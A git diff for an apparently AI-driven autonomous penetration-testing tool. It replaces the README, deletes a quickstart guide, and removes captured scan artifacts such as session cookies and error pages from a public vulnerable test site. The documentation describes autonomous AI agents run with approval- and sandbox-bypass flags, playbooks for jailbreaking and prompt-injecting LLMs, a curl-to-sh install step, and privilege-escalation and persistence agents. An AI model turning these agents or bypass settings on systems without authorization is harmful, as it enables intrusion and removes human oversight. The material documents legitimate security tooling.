diff --git a/QUICKSTART.md b/QUICKSTART.md deleted file mode 100755 index 3da2835..0000000 --- a/QUICKSTART.md +++ /dev/null @@ -1,289 +0,0 @@ -# NeuroSploit v3 - Quick Start Guide - -Get NeuroSploit running in under 5 minutes. - ---- - -## Prerequisites - -| Requirement | Minimum | Recommended | -|-------------|---------|-------------| -| **Python** | 3.10+ | 3.12 | -| **Node.js** | 18+ | 20 LTS | -| **Docker** | 24+ | Latest (for Kali sandbox) | -| **RAM** | 4 GB | 8 GB+ | -| **Disk** | 2 GB | 5 GB (with Kali image) | -| **LLM API Key** | 1 provider | Claude recommended | - ---- - -## Step 1: Clone & Configure - -```bash -git clone https://github.com/your-org/NeuroSploitv2.git -cd NeuroSploitv2 - -# Create your environment file -cp .env.example .env -``` - -Edit `.env` and add at least one API key: - -```bash -# Pick one (or more): -ANTHROPIC_API_KEY=sk-ant-... # Claude (recommended) -OPENAI_API_KEY=sk-... # GPT-4 -GEMINI_API_KEY=AI... # Gemini Pro -OPENROUTER_API_KEY=sk-or-... # OpenRouter (any model) -``` - -> **No API key?** Use a local LLM (Ollama or LM Studio) -- see [Local LLM Setup](#local-llm-setup) below. - ---- - -## Step 2: Install Dependencies - -### Backend - -```bash -pip install -r backend/requirements.txt -``` - -### Frontend - -```bash -cd frontend -npm install -cd .. -``` - ---- - -## Step 3: Build Kali Sandbox Image (Optional but Recommended) - -The Kali sandbox enables isolated tool execution (Nuclei, Nmap, SQLMap, etc.) in Docker containers. - -```bash -# Requires Docker Desktop running -./scripts/build-kali.sh --test -``` - -This builds a Kali Linux image with 28 pre-installed security tools. Takes ~5 min on first build. - -> **No Docker?** NeuroSploit works without it -- the agent uses HTTP-only testing. Docker adds tool-based scanning (Nuclei, Nmap, etc.). - ---- - -## Step 4: Start NeuroSploit - -### Option A: Development Mode (hot reload) - -Terminal 1 -- Backend: -```bash -uvicorn backend.main:app --host 0.0.0.0 --port 8000 --reload -``` - -Terminal 2 -- Frontend: -```bash -cd frontend -npm run dev -``` - -Open: **http://localhost:5173** - -### Option B: Production Mode - -```bash -# Build frontend -cd frontend && npm run build && cd .. - -# Start backend (serves frontend too) -uvicorn backend.main:app --host 0.0.0.0 --port 8000 -``` - -Open: **http://localhost:8000** - -### Option C: Quick Start Script - -```bash -./start.sh -``` - ---- - -## Step 5: Verify Setup - -### Check API Health - -```bash -curl http://localhost:8000/api/health -``` - -Expected response: -```json -{ - "status": "healthy", - "app": "NeuroSploit", - "version": "3.0.0", - "llm": { - "status": "configured", - "provider": "claude", - "message": "AI agent ready" - } -} -``` - -### Check Swagger Docs - -Open **http://localhost:8000/api/docs** for interactive API documentation. - ---- - -## Your First Scan - -### Option 1: Auto Pentest (Recommended) - -1. Open the web interface -2. Click **Auto Pentest** in the sidebar -3. Enter a target URL (e.g., `http://testphp.vulnweb.com`) -4. Click **Start Auto Pentest** -5. Watch the 3-stream parallel scan in real-time - -### Option 2: Via API - -```bash -curl -X POST http://localhost:8000/api/v1/agent/run \ - -H "Content-Type: application/json" \ - -d '{ - "target": "http://testphp.vulnweb.com", - "mode": "auto_pentest" - }' -``` - -### Option 3: Vuln Lab (Single Type) - -1. Click **Vuln Lab** in the sidebar -2. Pick a vulnerability type (e.g., `xss_reflected`) -3. Enter target URL -4. Click **Run Test** - ---- - -## Pages Overview - -| Page | What it does | -|------|-------------| -| **Dashboard** (`/`) | Stats, severity charts, recent activity | -| **Auto Pentest** (`/auto`) | One-click full autonomous pentest | -| **Vuln Lab** (`/vuln-lab`) | Test specific vuln types (100 available) | -| **Terminal Agent** (`/terminal`) | AI chat + command execution | -| **Sandboxes** (`/sandboxes`) | Monitor Kali containers in real-time | -| **Scheduler** (`/scheduler`) | Schedule recurring scans | -| **Reports** (`/reports`) | View/download generated reports | -| **Settings** (`/settings`) | Configure LLM providers, features | - ---- - -## Local LLM Setup - -### Ollama (Easiest) - -```bash -# Install Ollama -curl -fsSL https://ollama.ai/install.sh | sh - -# Pull a model -ollama pull llama3.1 - -# Add to .env -echo "OLLAMA_BASE_URL=http://localhost:11434" >> .env -``` - -### LM Studio - -1. Download from [lmstudio.ai](https://lmstudio.ai) -2. Load any model (e.g., Mistral, Llama) -3. Start the server on port 1234 -4. Add to `.env`: - ``` - LMSTUDIO_BASE_URL=http://localhost:1234 - ``` - ---- - -## Kali Sandbox Commands - -```bash -# Build image -./scripts/build-kali.sh - -# Rebuild from scratch -./scripts/build-kali.sh --fresh - -# Build + verify tools work -./scripts/build-kali.sh --test - -# Check running containers (via API) -curl http://localhost:8000/api/v1/sandbox/ - -# Monitor via web UI -# Open http://localhost:8000/sandboxes -``` - -### Pre-installed tools (28) - -nuclei, naabu, httpx, subfinder, katana, dnsx, uncover, ffuf, gobuster, dalfox, waybackurls, nmap, nikto, sqlmap, masscan, whatweb, curl, wget, git, python3, pip3, go, jq, dig, whois, openssl, netcat, bash - -### On-demand tools (28 more) - -Installed inside the container automatically when first needed: - -wpscan, dirb, hydra, john, hashcat, testssl, sslscan, enum4linux, dnsrecon, amass, medusa, crackmapexec, gau, gitleaks, anew, httprobe, dirsearch, wfuzz, arjun, wafw00f, sslyze, commix, trufflehog, retire, fierce, nbtscan, responder - ---- - -## Troubleshooting - -### "AI agent not configured" - -Check your `.env` has at least one valid API key: -```bash -curl http://localhost:8000/api/health | python3 -m json.tool -``` - -### "Kali sandbox image not found" - -Build the Docker image: -```bash -./scripts/build-kali.sh -``` - -### "Docker daemon not running" - -Start Docker Desktop, then retry. - -### "Port 8000 already in use" - -```bash -lsof -i :8000 -kill -``` - -### Frontend not loading - -Dev mode: ensure frontend is running (`npm run dev` in `/frontend`). -Production: ensure `frontend/dist/` exists (`cd frontend && npm run build`). - ---- - -## What's Next - -- Read the full [README.md](README.md) for architecture details -- Explore the **100 vulnerability types** in Vuln Lab -- Set up **scheduled scans** for continuous monitoring -- Try the **Terminal Agent** for interactive AI-guided testing -- Check the **Sandbox Dashboard** to monitor container health - ---- - -**NeuroSploit v3** - *AI-Powered Autonomous Penetration Testing Platform* diff --git a/README.md b/README.md index 9916c30..6a8a027 100755 --- a/README.md +++ b/README.md @@ -1,253 +1,142 @@ -# NeuroSploit v3.4.0 +# NeuroSploit v3.4.1 🦀 -![NeuroSploit](https://img.shields.io/badge/NeuroSploit-Autonomous%20AI%20Pentest-blueviolet) -![Version](https://img.shields.io/badge/Version-3.4.0-blue) +![Version](https://img.shields.io/badge/Version-3.4.1-blue) +![Harness](https://img.shields.io/badge/Harness-Rust%20%7C%20tokio-e6b673) ![License](https://img.shields.io/badge/License-MIT-green) -![Harness](https://img.shields.io/badge/Harness-Rust%20%7C%20tokio%20%7C%20axum-e6b673) ![Agents](https://img.shields.io/badge/MD%20Agents-249-red) -![Models](https://img.shields.io/badge/Models-12%20providers%20%2F%2040%2B-success) -![Backends](https://img.shields.io/badge/Subscription-Claude%20%7C%20Codex%20%7C%20Grok%20%7C%20Gemini-informational) -![MCP](https://img.shields.io/badge/MCP-Playwright-orange) +![Models](https://img.shields.io/badge/Models-12%20providers-success) -**Autonomous, markdown-driven AI penetration testing — now with a Rust multi-model harness.** +**Autonomous, multi-model penetration-testing harness — Rust, CLI-only.** -NeuroSploit turns a URL (or a code repository) into an autonomous security -engagement. A high-performance **Rust harness** (`tokio` + `axum`) drives a -**pool of LLM models** with concurrency, **provider failover**, and **N-model -validator voting** — multiple models must independently agree a finding is real -before it is reported. After recon, the harness **intelligently selects** which -of the **249 markdown agents** match the target instead of running them blindly, -learns across runs via a **reinforcement-learning** reward loop, and serves its -own polished web dashboard. +This branch is the **slim, Rust-only** distribution: the `neurosploit-rs/` workspace +plus the `agents_md/` agent library. It turns a URL (black-box) or a code +repository (white-box) into an autonomous engagement that drives a pool of LLMs +— via **API key** or local **subscription** (Claude Code / Codex / Gemini / Grok) +— recons the target, **intelligently selects only the agents matching the +discovered surface**, runs them in parallel, then validates every finding by +**cross-model voting** before reporting. -> The Python engine (v3.3.0) and the original monolith live in -> [`legacy/`](legacy/README.md); the v3.3.0 stdlib dashboard remains in `webgui/`. - -## 🦀 The Rust harness (`neurosploit-rs/`) - -```bash -cd neurosploit-rs && cargo build --release - -# Web dashboard (black-box + white-box modes) -./target/release/neurosploit serve # → http://127.0.0.1:8788 - -# Black-box: recon → intelligent agent selection → parallel exploit → vote → report -./target/release/neurosploit run https://target.example \ - --model anthropic:claude-opus-4-8 --model openai:gpt-5.1 --vote-n 3 - -# White-box: analyse a repository's source for vulnerabilities -./target/release/neurosploit whitebox /path/to/repo --subscription --model anthropic:claude-opus-4-8 - -# Subscription (no API key) + real browser proof via Playwright MCP -./target/release/neurosploit run https://t.example --subscription --mcp --model anthropic:claude-opus-4-8 - -# Pipeline self-test, no keys/login required -./target/release/neurosploit run https://t.example --offline -``` - -**What it does** - -- **Two modes** — *black-box* (URL recon → exploit) and *white-box* (walk a repo, - run code-review/SAST agents on the source). -- **Intelligent selection** — the model picks the agents whose preconditions match - the recon, then runs that subset (not top-N). -- **Multi-model pool** — bounded concurrency, **provider failover**, and the same - panel forms the **N-model validator jury** that cuts false positives. -- **Two auth paths** — **model APIs** (provider key) *or* **subscription**: drive - your local **Claude Code / Codex / Grok / Gemini** logins directly, no API key. -- **12 providers / 40+ models** (Claude, GPT, Grok, **Gemini**, NVIDIA NIM, - DeepSeek, Mistral, Qwen, Groq, Together, OpenRouter, Ollama). -- **RL rewards** persisted to `data/rl_state_rs.json` — validated findings reward - an agent, biasing the next run. -- **Artifacts for reuse** — every run writes `runs/-/`: - `recon.json/md`, `exploitation.md`, `findings.json/md`, `report.html`. -- **Playwright MCP** on the subscription path for real browser-based proof. - -### Agent library — 249 agents - -| Category | Dir | Count | Purpose | -|----------|-----|-------|---------| -| Vulnerability specialists | `agents_md/vulns/` | 196 | Exploit a specific vuln class | -| Recon | `agents_md/recon/` | 12 | Information gathering / attack surface | -| Code (white-box SAST) | `agents_md/code/` | 24 | Source-code vulnerability review | -| Meta | `agents_md/meta/` | 17 | Orchestrator, validator, scorers, reporter, RL | +> The full project (Python engine, web GUIs, history) lives on the `main` branch. --- -## Why this architecture +## Build -| Old (≤ v3.2.4) | New (v3.3.0) | -|----------------|-------------| -| 2,500-line Python orchestrator + hand-coded agent classes | Markdown agents + thin engine | -| One embedded LLM loop | Pluggable agentic CLI backends (Claude/Codex/Grok) | -| Provider SDK juggling | Backend owns the agent loop; engine just composes & collects | -| Static agent list | RL-weighted, recon-aware agent selection | -| Reflection-based "evidence" | Playwright MCP proof-of-execution + adversarial validation | +```bash +cd neurosploit-rs +cargo build --release # → target/release/neurosploit +``` + +Requires a Rust toolchain (`rustup`). **Recommended: run on Kali Linux** (or the +Kali Docker image) so the offensive tools the agents use are already present: + +```bash +docker run -it --rm kalilinux/kali-rolling +apt update && apt install -y curl nmap ffuf nodejs npm +# rustscan (faster port scan): cargo install rustscan (or grab a release from GitHub) +``` + +The agents degrade gracefully: if `rustscan` isn't installed they use `nmap`; if +neither, they probe with `curl`. If a Playwright MCP browser is available they use +it for JS-heavy pages, otherwise they fall back to `curl`. + +--- + +## Usage + +Run with **no arguments** for an interactive wizard: + +```bash +./target/release/neurosploit +``` + +Or drive it directly: + +```bash +# Black-box — subscription (no API key), Opus, browser via Playwright if present, verbose +./target/release/neurosploit run http://testphp.vulnweb.com/ \ + --subscription --model anthropic:claude-opus-4-8 --mcp -v + +# Black-box — API keys, multi-model voting panel (1st finds, others adjudicate) +./target/release/neurosploit run http://testphp.vulnweb.com/ \ + --model anthropic:claude-opus-4-8 --model openai:gpt-5.1 --vote-n 3 + +# White-box — clone a vulnerable app and review its source +git clone https://github.com/digininja/DVWA /tmp/DVWA +./target/release/neurosploit whitebox /tmp/DVWA \ + --subscription --model anthropic:claude-opus-4-8 -v + +# Offline pipeline self-test (no keys/login needed) +./target/release/neurosploit run http://testphp.vulnweb.com/ --offline + +# Utilities +./target/release/neurosploit agents # library counts +./target/release/neurosploit models # providers & models +./target/release/neurosploit --help # full help with examples +``` + +### Options (`run` / `whitebox`) + +| Flag | Meaning | +|------|---------| +| `--model provider:model` | Repeatable. First = primary; the rest fail over **and** form the voting jury. | +| `--subscription` | Use the local CLI login (Claude/Codex/Gemini/Grok) instead of an API key. | +| `--mcp` | Enable Playwright MCP (auto-provisioned via `npx`; backends without MCP use built-in tools). | +| `--vote-n N` | How many models must agree a finding is real (default 3 / 2 for whitebox). | +| `--max-agents N` | Cap agents run (`0` = all matching the recon). | +| `--offline` | Exercise the full pipeline without calling any model. | +| `-v, --verbose` | Log each agent as it launches, recon, and votes. | + +### Auth + +- **API key** — export the provider's key (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, + `GEMINI_API_KEY`, `XAI_API_KEY`, `NVIDIA_NIM_API_KEY`, …). See `.env.example`. +- **Subscription** — `--subscription` drives your local `claude` / `codex` / + `gemini` / `grok` login. No API key needed. --- ## How it works ``` - ┌──────────────────────────────────────────────────────────────┐ - URL ──▶ │ neurosploit (terminal) │ - │ │ │ - │ ▼ │ - │ orchestrator ── loads agents_md/ (213) ── applies RL weights │ - │ │ │ - │ ▼ composes ONE master prompt │ - │ backend (Claude Code | Codex | Grok) ◀── Playwright MCP │ - │ │ autonomously runs the pipeline below │ - │ ▼ │ - │ recon → select agents → exploit → VALIDATE → filter FPs │ - │ → severity → impact → report → RL feedback │ - └──────────────────────────────────────────────────────────────┘ - │ │ - ▼ ▼ - results/findings.json data/rl_state.json (learns) +target ─▶ recon (curl/nmap/…) ─▶ INTELLIGENT agent selection (recon-aware) + ─▶ parallel exploitation ─▶ cross-model validation vote + ─▶ severity/score ─▶ report (HTML + Typst PDF) ─▶ RL reward update ``` -The engine never fabricates findings: every candidate is independently -re-exploited (`meta/exploit_validator`), run through an adversarial skeptic -(`meta/false_positive_filter`), and only then scored and reported. +Every run writes a self-contained folder `runs/ns--/`: + +| File | Contents | +|------|----------| +| `status.json` | `running` → `complete` with a summary | +| `recon.json` / `recon.md` | mapped attack surface | +| `exploitation.md` | raw per-agent transcript | +| `findings.json` / `findings.md` | validated findings (reuse by other tools/AIs) | +| `report.html`, `report.typ`, `report.pdf` | final report (PDF via the Typst engine) | + +A reinforcement-learning reward store (`data/rl_state_rs.json`) biases agent +selection on future runs. + +## Agent library — `agents_md/` (249) + +| Category | Count | Purpose | +|----------|-------|---------| +| `vulns/` | 196 | Exploit a specific vulnerability class | +| `recon/` | 12 | Information gathering / attack surface | +| `code/` | 24 | White-box source-code (SAST) review | +| `meta/` | 17 | Orchestrator, validator, scorers, reporter, RL | + +Each agent is a self-contained markdown playbook (`## User Prompt` methodology + +`## System Prompt` strict anti-false-positive rules). Drop a new `.md` into the +matching folder and the harness picks it up. --- -## The agent library (`agents_md/`) +## Safety -**213 agents** — see [`agents_md/REGISTRY.md`](agents_md/REGISTRY.md). - -- **196 vulnerability specialists** (`agents_md/vulns/`) — each a self-contained - playbook with a real methodology, payloads, CWE mapping, and a strict - anti-false-positive `## System Prompt`. Coverage includes the classic OWASP - web set **plus modern classes**: - - **LLM/AI security** (OWASP LLM Top 10): prompt injection (direct/indirect), - jailbreak, system-prompt leak, insecure output handling, RAG poisoning, - tool-invocation/function-calling abuse, excessive agency, PII leakage… - - **Cloud/K8s/containers**: IMDS SSRF (AWS/GCP/Azure), kubelet/dashboard - exposure, container & docker-socket escape, bucket takeover, IAM privesc… - - **Modern API/auth**: JWT alg/kid/jwk confusion, OAuth PKCE downgrade, SAML - XSW, OIDC, CSWSH, refresh-token & MFA bypass, account-takeover chains… - - **Advanced injection**: SSTI (Jinja2/FreeMarker/Velocity/Thymeleaf), SSPP, - XXE OOB, YAML/pickle deserialization, JNDI, XSLT… - - **Protocol/cache/smuggling**: HTTP/2 & CL.TE/TE.CL desync, h2c, web cache - deception/poisoning, response splitting, path-confusion… - - **Logic/crypto/supply-chain**: dependency confusion, padding oracle, weak - JWT secret, price/coupon/workflow abuse, exposed `.git`/`.env`/CI secrets… - -- **17 meta-agents** (`agents_md/meta/`): `orchestrator`, `recon`, - `exploit_validator`, `false_positive_filter`, `severity_assessor`, - `impact_evaluator`, `reporter`, `rl_feedback`, plus migrated expert roles. - -Add your own by dropping a `.md` into `agents_md/vulns/` (or extend the -data-driven builder, `scripts/build_agents.py`). It is picked up automatically. - ---- - -## Quickstart - -```bash -# 1. Have at least one agentic CLI installed: Claude Code, Codex, or Grok CLI -# (Playwright MCP needs Node/npx) -./neurosploit backends # show what's detected -./neurosploit agents # {'vulns': 196, 'meta': 17, 'total': 213} - -# 2. Interactive: enter a URL, pick a backend + model, go -./neurosploit - -# 3. Or one-shot: -./neurosploit run https://target.example \ - --backend claude --model claude-opus-4-8 \ - --collaborator oob.your-collab.net - -# 4. Preview the composed master prompt without executing the backend: -./neurosploit run https://target.example --dry-run -``` - -Outputs land in `results//findings.json` and `reports/`, and the RL -state updates in `data/rl_state.json`. - -### Web dashboard - -A zero-dependency (Python stdlib only) dashboard — no npm, no build step: - -```bash -python3 webgui/server.py # → http://127.0.0.1:8787 -``` - -Tabs: -- **Run** — multi-target input, backend + provider + model pickers (40 models - across CLI and API providers), verbosity, RL/MCP toggles, a live execution - console (shows the exact backend command and per-task activity), and findings - with screenshots. -- **Agents** — browse all 213 agents and **add new `.md` agents** from the UI; - the main orchestrator picks them up on the next run. -- **Insights** — interactive chart of RL agent weights + findings by severity. -- **Reports** — download/preview the **PDF + HTML** reports (Typst engine). -- **Settings · API** — execution mode (CLI vs API), per-provider API keys, - orchestrator selection, default verbosity. - -It calls `neurosploit_agent` directly. The previous React app and FastAPI backend -were retired to `legacy/` (`frontend_react/`, `backend_fastapi/`). - -### Backends - -| Backend | Binary | Autonomy flag | Subscription | -|---------|--------|---------------|--------------| -| Claude Code | `claude` | `--dangerously-skip-permissions` | ✅ via Claude login | -| Codex CLI | `codex` | `--dangerously-bypass-approvals-and-sandbox` | — | -| Grok CLI | `grok` | `--yolo` | — | - -The engine auto-detects installed backends and only offers those. In the -interactive flow, answering **yes** to "Use Claude subscription" runs Claude Code -against your logged-in subscription instead of an API key. - -### Models - -Latest models per provider live in `neurosploit_agent/models.py`, including the -**NVIDIA NIM** provider (PR #28, OpenAI-compatible at -`https://integrate.api.nvidia.com/v1`, `nvapi-` keys), Anthropic Claude 4.x, -OpenAI, xAI Grok, Gemini, OpenRouter, and local Ollama. - ---- - -## Reinforcement learning - -Every run produces per-agent reward signals (`meta/rl_feedback` + -`neurosploit_agent/rl.py`): validated findings reward an agent (weighted by -severity), rejected false positives penalize it, correct skips stay neutral. -Weights are bounded `[0.05, 1.0]` and carry per-tech-stack affinity, so the -engine learns, e.g., to prioritize `ssti_jinja2` on Flask targets. State is -explainable and persisted to `data/rl_state.json`. - ---- - -## Safety & authorization - -NeuroSploit is for **authorized** security testing only. Every agent's system -prompt enforces scope and proof-of-exploitation; DoS-class agents refuse to -flood and require explicit rules-of-engagement. You are responsible for having -written permission for any target you point it at. - ---- - -## Repository layout - -``` -neurosploit # launcher (./neurosploit) -neurosploit_agent/ # the v3.3.0 engine - cli.py orchestrator.py agent_loader.py backends.py rl.py mcp.py models.py config.py -agents_md/ - vulns/ (196) # vulnerability specialist agents - meta/ (17) # orchestrator, recon, validator, scorers, reporter, RL, roles - REGISTRY.md # generated index -scripts/build_agents.py # data-driven agent builder -legacy/ # retired pre-v3.3.0 Python orchestration -``` - -See [`RELEASE.md`](RELEASE.md) for the full v3.3.0 changelog. - ---- +For **authorized** testing only. Agents are instructed to stay in scope, never run +destructive/DoS actions, and require proof-of-exploitation. You are responsible for +having permission for any target. ## License diff --git a/admin_headers.txt b/admin_headers.txt deleted file mode 100644 index ad08788..0000000 --- a/admin_headers.txt +++ /dev/null @@ -1,7 +0,0 @@ -HTTP/1.1 404 Not Found -Content-Type: text/html -Server: Microsoft-IIS/8.5 -X-Powered-By: ASP.NET -Date: Tue, 23 Jun 2026 21:13:25 GMT -Content-Length: 1245 - diff --git a/admin_resp.txt b/admin_resp.txt deleted file mode 100644 index 3191550..0000000 --- a/admin_resp.txt +++ /dev/null @@ -1,29 +0,0 @@ - - - - -404 - File or directory not found. - - - - -
-
-

404 - File or directory not found.

-

The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.

-
-
- - diff --git a/c.txt b/c.txt deleted file mode 100644 index 55802fe..0000000 --- a/c.txt +++ /dev/null @@ -1,5 +0,0 @@ -# Netscape HTTP Cookie File -# https://curl.se/docs/http-cookies.html -# This file was generated by libcurl! Edit at your own risk. - -#HttpOnly_testaspnet.vulnweb.com FALSE / FALSE 0 ASP.NET_SessionId 1mkryz45pc3j44ua53yfe545 diff --git a/c2.txt b/c2.txt deleted file mode 100644 index 080d8b0..0000000 --- a/c2.txt +++ /dev/null @@ -1,5 +0,0 @@ -# Netscape HTTP Cookie File -# https://curl.se/docs/http-cookies.html -# This file was generated by libcurl! Edit at your own risk. - -#HttpOnly_testaspnet.vulnweb.com FALSE / FALSE 0 ASP.NET_SessionId okc513jjz1kxsxbmkmidnmfs diff --git a/c3.txt b/c3.txt deleted file mode 100644 index db3072f..0000000 --- a/c3.txt +++ /dev/null @@ -1,5 +0,0 @@ -# Netscape HTTP Cookie File -# https://curl.se/docs/http-cookies.html -# This file was generated by libcurl! Edit at your own risk. - -#HttpOnly_testaspnet.vulnweb.com FALSE / FALSE 0 ASP.NET_SessionId r2w133jnjihmgf552tyes4uh diff --git a/comment_submit.html b/comment_submit.html deleted file mode 100644 index 912554b..0000000 --- a/comment_submit.html +++ /dev/null @@ -1,122 +0,0 @@ - - - Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.<br><br>http://go.microsoft.com/fwlink/?LinkID=314055 - - - - - -

Server Error in '/' Application.

- -

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

http://go.microsoft.com/fwlink/?LinkID=314055

- - - - Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. - -

- - Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

http://go.microsoft.com/fwlink/?LinkID=314055

- - Source Error:

- - - - - -
- 
-
-[No relevant source lines]
 - -
- -
- - Source File: c:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\root\e6eb278b\4a52d72d\App_Web_pebpzm2g.0.cs    Line: 0 -

- - Stack Trace:

- - - - - -
- 
-
-[ViewStateException: Invalid viewstate. 
-	Client IP: 177.62.32.16
-	Port: 56298
-	User-Agent: Mozilla/5.0
-	ViewState: /wEPDwUKLTg2MjcwMzE2Mg9kFgICAQ9kFgICAQ9kFgQCAQ8WBB4EaHJlZgUKbG9naW4uYXNweB4JaW5uZXJodG1sBQVsb2dpbmQCAw8WBB8AZB4HVmlzaWJsZWhkAgMPFgIfAQVJcG9zdGVkIGJ5IDxzdHJvbmc+YWRtaW4gICAgICAgICAgICAgICAgICAgIDwvc3Ryb25nPjUvMTYvMjAxOSAxMjozMjozMCBQTWQCBQ8WBB8BBT5BY3VuZXRpeCBWdWxuZXJhYmlsaXR5IFNjYW5uZXIgTm93IFdpdGggTmV0d29yayBTZWN1cml0eSBTY2Fucx8ABRJSZWFkTmV3cy5hc3B4P2lkPTBkAgcPFgIfAQVEU2VhbWxlc3MgT3BlblZBUyBpbnRlZ3JhdGlvbiBub3cgYWxzbyBhdmFpbGFibGUgb24gV2luZG93cyBhbmQgTGludXhkAgkPZBYCAgEPZBYGZg9kFgJmDxYCHwEFJTxJTUcgc3JjPSJpbWFnZXMvY29tbWVudC1iZWZvcmUuZ2lmIj5kAgEPZBYCZg8WAh4FY2xhc3MFB0NvbW1lbnRkAgIPZBYCZg8WAh8BBSQ8SU1HIHNyYz0iaW1hZ2VzL2NvbW1lbnQtYWZ0ZXIuZ2lmIj5kZLtjZhxvUS4ci8HIFlqscBeWoXbu
-	Referer: 
-	Path: /Comments.aspx]
-
-[HttpException (0x80004005): Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.
-
-http://go.microsoft.com/fwlink/?LinkID=314055]
-   System.Web.UI.ViewStateException.ThrowError(Exception inner, String persistedState, String errorPageMessage, Boolean macValidationError) +190
-   System.Web.UI.ObjectStateFormatter.Deserialize(String inputString) +11093249
-   System.Web.UI.Util.DeserializeWithAssert(IStateFormatter formatter, String serializedState) +59
-   System.Web.UI.HiddenFieldPageStatePersister.Load() +11093352
-   System.Web.UI.Page.LoadPageStateFromPersistenceMedium() +11178689
-   System.Web.UI.Page.LoadAllState() +46
-   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +11174087
-   System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +11173626
-   System.Web.UI.Page.ProcessRequest() +91
-   System.Web.UI.Page.ProcessRequest(HttpContext context) +240
-   ASP.comments_aspx.ProcessRequest(HttpContext context) in c:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\root\e6eb278b\4a52d72d\App_Web_pebpzm2g.0.cs:0
-   System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +599
-   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +171
-
 - -
- -
- -
- - Version Information: Microsoft .NET Framework Version:2.0.50727.8974; ASP.NET Version:2.0.50727.8974 - - - - - - \ No newline at end of file diff --git a/comments.html b/comments.html deleted file mode 100644 index e69de29..0000000 diff --git a/comments2.html b/comments2.html deleted file mode 100644 index e69de29..0000000 diff --git a/comments_id0.html b/comments_id0.html deleted file mode 100644 index d96173c..0000000 --- a/comments_id0.html +++ /dev/null @@ -1,116 +0,0 @@ - - - - - Comments - - - - - - - -
-
- - - -
- - - - -
- - - -
- - - - - - -
Acunetix website securityTest Website for Acunetix Web Vulnerability Scanner
- - - - - -
about - news login - signup network scanner - network vuln help - - -
- - - - - - - - - -
-
posted by admin 5/16/2019 12:32:30 PM
- Acunetix Vulnerability Scanner Now With Network Security Scans -
Seamless OpenVAS integration now also available on Windows and Linux
-
User comments: - - - - - - - - - - -
posted by 139.64.50.1446/23/2026 9:08:12 PM
- -
- - - - - - - - - - -
- -
- 		- - -
- -
<June 2026>
SunMonTueWedThuFriSat
31123456
78910111213
14151617181920
21222324252627
2829301234
567891011

-Get RSS feed - -
-
- -
-

Warning: This is not a blog. This is a test site for Acunetix. It is vulnerable to SQL Injections, Cross-site Scripting (XSS), and more. It was built using ASP.NET and it shows how bad programming leads to vulnerabilities. Do not visit the links in the comments. They are posted by malicious parties who are trying to exploit this site to their advantage. Comments are purged daily.

-
- diff --git a/config/config-example.json b/config/config-example.json deleted file mode 100755 index f5d6f91..0000000 --- a/config/config-example.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "llm": { - "provider": "gemini", - "model": "gemini-pro", - "api_key": "", - "temperature": 0.7, - "max_tokens": 4096 - }, - "agents": { - "recon": { - "enabled": true, - "priority": 1 - }, - "exploitation": { - "enabled": true, - "priority": 2 - }, - "privilege_escalation": { - "enabled": true, - "priority": 3 - }, - "persistence": { - "enabled": true, - "priority": 4 - }, - "lateral_movement": { - "enabled": true, - "priority": 5 - } - }, - "methodologies": { - "owasp_top10": true, - "cwe_top25": true, - "network_pentest": true, - "ad_pentest": true, - "web_security": true - }, - "tools": { - "nmap": "/usr/bin/nmap", - "metasploit": "/usr/bin/msfconsole", - "burpsuite": "/usr/bin/burpsuite", - "sqlmap": "/usr/bin/sqlmap", - "hydra": "/usr/bin/hydra" - }, - "output": { - "format": "json", - "verbose": true, - "save_artifacts": true - } -} \ No newline at end of file diff --git a/config/config.json b/config/config.json deleted file mode 100755 index ca0e046..0000000 --- a/config/config.json +++ /dev/null @@ -1,114 +0,0 @@ -{ - "llm": { - "default_profile": "gemini_pro_default", - "profiles": { - "gemini_pro_default": { - "provider": "gemini", - "model": "gemini-pro", - "api_key": "${GEMINI_API_KEY}", - "temperature": 0.7, - "max_tokens": 4096, - "input_token_limit": 30720, - "output_token_limit": 2048, - "cache_enabled": true, - "search_context_level": "medium", - "pdf_support_enabled": true, - "guardrails_enabled": true, - "hallucination_mitigation_strategy": "consistency_check" - } - } - }, - "agent_roles": { - "pentest_generalist": { - "enabled": true, - "tools_allowed": [ - "nmap", - "metasploit", - "burpsuite", - "sqlmap", - "hydra" - ], - "description": "Performs comprehensive penetration tests across various domains.", - "methodology": ["OWASP-WSTG", "PTES", "OWASP-Top10-2021"], - "default_prompt": "auto_pentest", - "vuln_coverage": 100, - "ai_prompts": true - }, - "bug_bounty_hunter": { - "enabled": true, - "tools_allowed": [ - "subfinder", - "nuclei", - "burpsuite", - "sqlmap" - ], - "description": "Focuses on web application vulnerabilities with 100 vuln types.", - "methodology": ["OWASP-WSTG", "OWASP-Top10-2021"], - "default_prompt": "auto_pentest", - "vuln_coverage": 100, - "ai_prompts": true - } - }, - "methodologies": { - "owasp_top10": true, - "cwe_top25": true, - "network_pentest": true, - "ad_pentest": true, - "web_security": true - }, - "tools": { - "nmap": "/usr/bin/nmap", - "metasploit": "/usr/bin/msfconsole", - "burpsuite": "/usr/bin/burpsuite", - "sqlmap": "/usr/bin/sqlmap", - "hydra": "/usr/bin/hydra" - }, - "mcp_servers": { - "neurosploit_tools": { - "transport": "stdio", - "command": "python3", - "args": ["-m", "core.mcp_server"], - 